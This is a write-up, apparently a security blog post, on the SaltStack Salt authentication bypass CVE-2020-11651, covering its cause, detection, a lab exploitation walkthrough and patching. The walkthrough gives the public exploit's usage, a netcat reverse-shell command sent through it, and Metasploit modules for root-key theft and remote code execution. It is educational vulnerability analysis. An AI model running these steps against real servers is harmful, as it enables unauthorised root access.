SaltStack Salt Authentication Bypass (CVE-2020-11651)
Date Added to KEV Catalog: November 3, 2021
CISA Due Date for Remediation: May 3, 2022
Table of Contents
The SaltStack Salt Authentication Bypass vulnerability (CVE-2020-116151) is a critical remote code execution vulnerability.
The NIST CVE catalog provides an overview of the vulnerability:
“An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.”
To understand this, let’s review Salt. Salt is a Python-based open-source remote execution framework for configuration management, automation, provisioning and orchestration. These tasks center around monitoring and updating servers. It uses a master-client model or a publisher-subscriber model as shown here:
The Salt Master is the publisher. The Salt Minions are subscribers. Both act as servers. The Salt Master publishes jobs or commands to the Salt Minions who subscribe to these jobs and execute them. After the Salt Minion executes a job they reply back to the Salt Master. The default communication protocol used between the Masters and Minions is called ZeroMQ.
As shown above, ports 4505 and 4506 are used by Salt Master and Salt Minions to communicate. Salt Minions listen/subscribe to jobs via port 4505 and reply back to the Salt Master via port 4506. Finally, Salt’s API server is typically on port 8000, this can be used for services likes Apache or Postgresql.
As mentioned by NIST, this is an authentication bypass vulnerability. The Salt Master has a process, the ClearFunc class, that does not properly validate method calls. There are two issues with the ClearFunc class. It exposes the _send_pub() method and the _prep_auth_info() method.
The exposed _send_pub() method:
The _send_pub() method can be used to send messages that will run by Salt Minions. Since they are not authenticated, these _send_pub() messages can be arbitrary commands run as root.
The exposed _prep_auth_info() method:
The method_prep_auth_info() method can return the “root key” which is used for authentication and allows for runnings administrative commands on the Salt Master.
Essentially, the ClearFunc class exposes these two methods which allow for Salt Minions to run root commands and Salt Masters to run root commands without proper authentication.
This explanation is a simplified summary of With Secure Lab’s post. Check it out for more information.
Systems Affected and Detection
This SaltStack Salt vulnerability affects versions before 2019.2.4, and 3000 before 3000.2.
An attacker would commonly see a SSH port on 22 or 2222, and the common SaltStack specific ports: 4505, 4506, and 8000.
Attackers could then attempt to detect this vulnerability by checking if there is data from the two vulnerable methods, _prep_auth_info and _send_pub from port 4506. These methods should not be exposing data.
There is also a Metasploit module that runs a check to if the REST API server on port 8000 is vulnerable to other Salt CVEs. The Metasploit module is: saltstack_salt_api_cmd_exec.
A vulnerable environment can be setup using Docker Compose and a container with Salt version 2019.2.3.
InfosecMatter has instructions on how to setup the vulnerable environment via docker.
There are both public python exploits and a Metasploit module for exploiting this vulnerability.
A quick nmap shows the expected ports of 2222, 4505, 4506, and 8000:
On port 8000, CherryPy is a python, object-oriented HTTP framework. You can read more information about CherryPy here.
As mentioned earlier, ZeroMQ is the default communication protocol for Salt.
Googling ZeroMQ ZMPT 2.0 exploit directs us to ExploitDB’s Saltstack 3000.1.
This same exploit is also found via searchsploit.
Searchsploit –p option shows the full path of the exploit.
Searchsploit –m option mirrors the exploit, copies it to your current directory.
Initially running the python exploit issues an error: No module named ‘salt’
Install the salt module with: pip install salt
The –help option shows the format for running the exploit:
python3 48421.py –master <MASTER_IP> –exec <EXEC>
The –-exec option allows for running a command on the Salt Master.
The exploit checks to see if the Salt Master port 4506 is open and accessible and exploits the method_prep_auth_info() method via the ClearFunc class to get the “root key”.
This root key allows for running arbitrary commands on the Salt Master as root.
We can run a netcat reverse shell using the –-exec option.
–exec “nc LHOST LPORT –e /bin/sh”
A netcat listener with a matching local port receives the reverse shell.
Metasploit has a number of useful modules.
Getting the root key from the Salt Master, using _prep_auth_info() method: auxiliary/gather/saltstack_salt_root_key
The exploit module is: exploit/linux/misc/saltstack_salt_unauth_rce
This uses the _prep_auth_info() and runner() method and also introduces the technical term “Yeeting”:
Make sure to update to newest available versions of Salt. Latest Salt release information can be be found here.